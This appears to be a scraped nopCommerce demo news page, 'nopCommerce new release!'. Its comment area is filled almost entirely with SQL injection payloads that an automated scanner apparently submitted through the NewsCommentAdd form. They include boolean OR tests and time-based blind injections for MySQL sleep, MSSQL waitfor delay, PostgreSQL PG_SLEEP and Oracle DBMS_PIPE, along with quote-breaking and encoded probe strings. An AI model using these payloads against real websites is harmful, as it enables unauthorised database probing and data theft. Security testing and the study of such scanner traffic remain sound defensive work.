nopCommerce new release!

This is a sample comment...

NewsCommentAdd

NewsCommentAdd/.

-1 OR 5*5=25 --

-1 OR 5*5=26 --

-1 OR 5*5=25

-1 OR 5*5=26

-1' OR 5*5=25 --

-1' OR 5*5=26 --

-1" OR 5*5=25 --

-1" OR 5*5=26 --

-1' OR 5*5=25 or 'CXFKeL8V'='

-1' OR 5*5=26 or 'CXFKeL8V'='

-1" OR 5*5=25 or "f3lbMoSx"="

-1" OR 5*5=26 or "f3lbMoSx"="

*if(now()=sysdate(),sleep(15),0)

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

-1 waitfor delay '0:0:15' --

bpdEebmp'; waitfor delay '0:0:15' --

AbLR6BZV'); waitfor delay '0:0:15' --

cAx1mEAL')); waitfor delay '0:0:15' --

-1 OR 893=(SELECT 893 FROM PG_SLEEP(15))--

-1) OR 271=(SELECT 271 FROM PG_SLEEP(15))--

-1)) OR 479=(SELECT 479 FROM PG_SLEEP(15))--

IOqJQ0Qj' OR 925=(SELECT 925 FROM PG_SLEEP(15))--

xvKMREXU') OR 611=(SELECT 611 FROM PG_SLEEP(15))--

IMVcyNI1')) OR 788=(SELECT 788 FROM PG_SLEEP(15))--

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

'"

%C0%A7%C0%A2%2527%2522\'\"

@@aytca

(select 198766*667891)

(select 198766*667891 from DUAL)